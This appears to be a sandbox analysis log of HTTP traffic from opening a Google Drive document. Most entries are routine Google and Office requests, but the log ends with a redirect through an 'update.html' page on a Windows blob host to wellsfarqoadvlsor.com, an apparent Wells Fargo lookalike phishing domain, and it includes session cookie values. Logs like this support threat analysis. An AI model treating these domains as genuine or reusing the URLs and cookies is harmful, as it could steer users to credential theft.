NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /viewer2/prod-00/img?ck=drive&ds=APznzaZz6eMBNkv136qDlo7lERY8MZH49StBJRz0JuauXbnwRN5xqurc6WnKPC_7_u-cjTsWq9ovr0Lggl8Xk5aKHGq9BouoX0EHPNRSIVDASENXRGTpj0TusFGPDD6YMB4spgJlDFw6LGobFDnP72N6k4Nlq8xxSCtsWkAbSKYphyKHeOTqL9dpTcBpho1c9gz-X-KZIWzSrjATJYI3EliH8EGAiJ9BNCK68g1PJxpL8Yoc8Lx87q2lFlX65rVLjfhSPGw_oj3XdbH91zHso9_0rwvpf1rLoSS2v2Cn-GpExKYnqGGNK4Lr713f_-Ntsns9Jh8vaRfW6W84kUTyFu3oJKO7ozcelJxM7bW8wMwR2TRcmr6fY2u2Pb80705LbBqmNrQiJMxPejWj8b80sfuq4_wvIcujqA%3D%3D&authuser=0&page=0&skiphighlight=true&w=800&webp=true HTTP/1.1Host: drive.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://drive.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=client/exm=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_1 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://drive.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /images/branding/googlelogo/1x/googlelogo_color_150x54dp.png HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /images/branding/googlelogo/1x/googlelogo_color_150x54dp.png HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=client/exm=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_1 HTTP/1.1Host: apis.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /js/googleapis.proxy.js?onload=startup HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://content.googleapis.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=googleapis_proxy/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0?le=scs HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://content.googleapis.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /js/googleapis.proxy.js?onload=startup HTTP/1.1Host: apis.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=googleapis_proxy/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0?le=scs HTTP/1.1Host: apis.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/docos/p/sync?resourcekey&id=11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei&reqid=0 HTTP/1.1Host: drive.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /url?q=https://opendirectline.blob.core.windows.net/main/update.html?47i5h2&sa=D&source=apps-viewer-frontend&ust=1731699781569616&usg=AOvVaw3gVtIqiB4yYtz7DPR-O5aq&hl=en HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
Source: global traffic	HTTP traffic detected: GET /?ref=93isxpaq24fuj HTTP/1.1Host: online.secure.access.wellsfarqoadvlsor.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://opendirectline.blob.core.windows.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /secure/ HTTP/1.1Host: online.secure.access.wellsfarqoadvlsor.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://opendirectline.blob.core.windows.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=iqrqitr918d84r4n75nn08tjdm; ref=93isxpaq24fuj; referer=aHR0cHM6Ly9vcGVuZGlyZWN0bGluZS5ibG9iLmNvcmUud2luZG93cy5uZXQv
